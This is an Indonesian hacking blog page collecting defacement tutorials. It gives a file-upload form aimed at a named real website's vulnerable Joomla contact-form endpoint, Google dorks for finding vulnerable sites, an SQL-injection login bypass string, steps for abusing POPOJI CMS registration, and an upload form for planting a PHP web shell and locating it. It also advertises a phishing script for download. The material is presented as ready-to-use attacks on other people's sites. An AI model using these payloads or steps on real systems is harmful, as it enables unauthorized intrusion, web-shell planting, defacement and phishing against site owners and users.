Cara Defece Dengan Com_Sexy

Assalamu'alaikum wr.wb Sobat Ganteng +_+

bkali ini saya mau share tutorial exploit com_sexy :-_-:
 itu loh exploit yang lagi HOT ^_^
 Oke , gak usah banyak basa basi, ntar keburu basi _-_

 Bahan :
 Script Csrf.html
Shell atau Script Defece

Isi Script Csrf :

<form method="POST" action="http://www.clubtarotcotentin.com/components/com_sexycontactform/fileupload/index.php"
enctype="multipart/form-data">
<input type="file" name="files[]" /><button>Upload</button>
</form>

*Tinggal Ganti Link*
Dork : inurl:/com_sexycontactform/ atau bisa dikreasikan sendiri pake otak :v
Exploit : components/com_sexycontactform/fileupload/index.php

Vuln  

Masukan Target Kedalam Script Csrf.html , Dan Ini Sedang Proses Upload

 Kalau Berhasil Di Upload Seperti Ini

Ini Yang Sudah Di Upload Script Defece

(Sumber : dwikyjuliyansyah.blogspot.com,blog saya)

Sekian tutornya dan salam ganteng, Wassalamualaikum wr.wb :D

@Copyright http://www.berbagilmu.com/

Read more

Script Phising PBGI Redeem V1 [Send Email]

Assalamu'alaikum wr.wb Sobat Ganteng +_+

Kali ini saya ingin membagikan script phising pbgi reedem v1 dan beserta gambar =D
script yang bisa kalian download gratis ^_^. tanpa basa-basi yuk langsung aja di Download ^_^

Link Download : [ Script ]

 

Sekian script phising pbgi dari saya ^_^ . semoga bermanfaat :)

NOTE : Tidak Untuk Di Perjual Belikan !!!

Budayakan Tinggalkan Komentar ^_^

Sekian tutornya dan salam ganteng, Wassalamualaikum wr.wb :D

Read more

Cara Deface Bypass Login

Assalamu'alaikum wr.wb Sobat Ganteng +_+

Disni Saya Akan Membagikan Cara Bypass Login
Langsung Saja Kita Coba

[+] Dork : allinurl:/admin/login.php
                 inurl:vn/rss/index.php

[-_-] Admin Login : http:/target.com/admin/login.php

["_"] Exploit :
username : '=' 'or'
password : '=' 'or'

(Sumber : dwikyjuliyansyah.blogspot.com,blog saya)

Sekian tutornya dan salam ganteng, Wassalamualaikum wr.wb :D

Read more

Cara Defece Poc POPOJI Lewat Register Account

Assalamu'alaikum wr.wb Sobat Ganteng +_+

Kali ini saya ingin membagikan Cara Defece Poc POPOJI Lewat Register Account =D Silahkan Ikutin Cara-Cara Ini ^_^ 

-  Dork :  inurl:"/detailpost site:sch.id"

              Inurl:/detailpost site:.co.id

             Inurl:/po-admin/js/plugins/uploader/upload.php site:.com

            Powered by Popoji

           © popojicms

- Exploit : target.coli/[path]/po-admin

1. Dorking menggunakan Search Engine Di Google/Mozzila

2. Pilih target kalian lalu masuk ke page Login atau masukan eXploitnye.
    contoh: target.c0li/po-admin

Kalau ada click one for free silahkan dilanjuti, kalo gak ada silahkan cari target laen Mblo  :)

Langsung saja, Klik tulisan "Click one for free"

3. Kalian akan masuk ke FORM REGISTER, Isi data yang valid dan email yang aktif =D

Langsung Klik Register Account

4. Kalian Akan Masuk Ke Page Ini :D, Jika muncul page ini kemungkinan besar kalian berhasil MengExploitasi

Kurang Lebih Begitu

5. Lanjut cek email yang kalian buat daftar tadi, cek di spam or kontak masuk.

disitu lengkap tertera id dan password, Lalu klik Link yang tertera Untuk memVerif email kalean ke web target.

Ini untuk mengverifikasi/mengaktifkan akun nya

6. Success : Your account have been ACTIVATED ! wew wkwkw, langsung bae masukin id n password Lu dan Login :D

akun sudah aktif, tinggal coba login

7. dan BooM masuk ke halaman Dasbor website target :)

kalau anda baik, laporkan bug ini kepada admin :v

Cara Upload Shell Nya o.O ??
Silahkan bacaaa artikel kita yang ini : Cara Upload Shell di CMS Popoji

Sekian Tutor Cara Defece Poc POPOJI Lewat Register Account

(Sumber :  dwikyjuliyansyah.blogspot.com, blog saya)


Sekian tutornya dan salam ganteng, Wassalamualaikum wr.wb :D +_+  

Read more

Cara Upload Shell di CMS Popoji

Assalamu'alaikum wr.wb Sobat Ganteng +_+

Kali ini saya ingin membagikan CCara Upload Shell di CMS Popoji=D Silahkan Ikutin Cara-Cara Ini ^_^

1. Login ke Admin Dashboard POPOJI CMS

2. Exploit : target.c0.li/po-admin/js/plugins/uploader/upload.php
    Ciri2 Vuln {"jsonrpc" : "2.0", "result" : null, "id" : "id"}

wajib Login ke halaman dashbor dlu ya, kalo mau liat ini letak bugnya

3. CSRF Code:

<form method="post" action="target.c0li/po-admin/js/plugins/uploader/upload.php" enctype="multipart/form-data"><input type="file" name="file"><input type="hidden" name="name" value="nama_shell_anda.php"><input type="submit" value="exploit"></form>
* save dgn ekstensi .html* lalu bukak dengan browser kalean.*lalu upload shell kalian

lalu klik exploit

Terus cara tau Letak Shell nye Piye Om o.O ??

4. buka folder /po-upload/ , carane bukak url: target.c0li/po-content/po-upload/ , liat list yang kek di SS, carii shell lu, kalo dah ketemu Klik ae ..kaloo pas folder /po-upload/ nya di buka ternyata muncul notice Forbidden wkkw, silahkan muter otak anda utk mencari backdoor lu wkwk..

tanda panah itu shell anda yang tadi di upload

5. akses shell:  target/po-content/po-upload/nama_shell_anda-[angka_random]-polibrary.php

silahkan tebas index gan bila ingin di defece

Sekian TutorCara Upload Shell di CMS Popoji

(Sumber : dwikyjuliyansyah.blogspot.com, blog saya)


Sekian tutornya dan salam ganteng, Wassalamualaikum wr.wb :D +_+

Read more